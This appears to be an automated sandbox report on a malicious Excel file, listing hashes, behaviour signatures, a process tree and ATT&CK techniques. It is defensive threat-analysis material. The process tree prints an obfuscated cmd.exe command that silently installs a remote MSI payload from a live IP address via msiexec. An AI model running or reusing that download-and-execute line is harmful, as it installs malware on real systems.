Overview

overview

10

Static

static

8

978905601.xls

windows7_x64

10

978905601.xls

windows10_x64

10

Analysis

  • max time kernel
    134s
  • max time network
    135s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    30-06-2020 12:33

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General

  • Target

    978905601.xls

  • Size

    172KB

  • MD5

    2a6b788cb122676d3890312e754bfc90

  • SHA1

    5744f5012d120edd79f1bb1ed0272b28712127e4

  • SHA256

    0018a5d18456d36582b1020be78a055c9c126a8036c618ea956faf722d995bb2

  • SHA512

    39a0f085979668395beb3d7a23144cbfeba6c849586bc7a4c5759dc455f3964877ea57795df19bf560a4c9a03a283f0671d656888c8969f8cb7ac58e84cc12a5

Score
10/10

Malware Config

Signatures

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 44 IoCs
  • Blacklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of WriteProcessMemory 7 IoCs
  • Use of msiexec (install) with remote resource 1 IoCs
  • Drops file in Windows directory 6 IoCs
  • Enumerates connected drives 3 TTPs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\978905601.xls"
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:792
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c ms^iE^x^ec /i http://199.195.250.60/gg/978905601.msi /qn
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:3188
      • C:\Windows\system32\msiexec.exe
        msiExec /i http://199.195.250.60/gg/978905601.msi /qn
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        • Use of msiexec (install) with remote resource
        PID:3588
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Blacklisted process makes network request
    • Suspicious use of WriteProcessMemory
    • Drops file in Windows directory
    PID:744
    • C:\Windows\Installer\MSI3B7.tmp
      "C:\Windows\Installer\MSI3B7.tmp"
      2⤵
      • Executes dropped EXE
      PID:3752

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3
T1012

System Information Discovery

3
T1082

Peripheral Device Discovery

1
T1120

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

  • C:\Windows\Installer\MSI3B7.tmp
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  • C:\Windows\Installer\MSI3B7.tmp
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  • memory/3188-2-0x0000000000000000-mapping.dmp
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  • memory/3588-3-0x0000000000000000-mapping.dmp
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  • memory/3588-4-0x00000155C9F40000-0x00000155C9F44000-memory.dmp
    Filesize

    16KB

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  • memory/3752-5-0x0000000000000000-mapping.dmp
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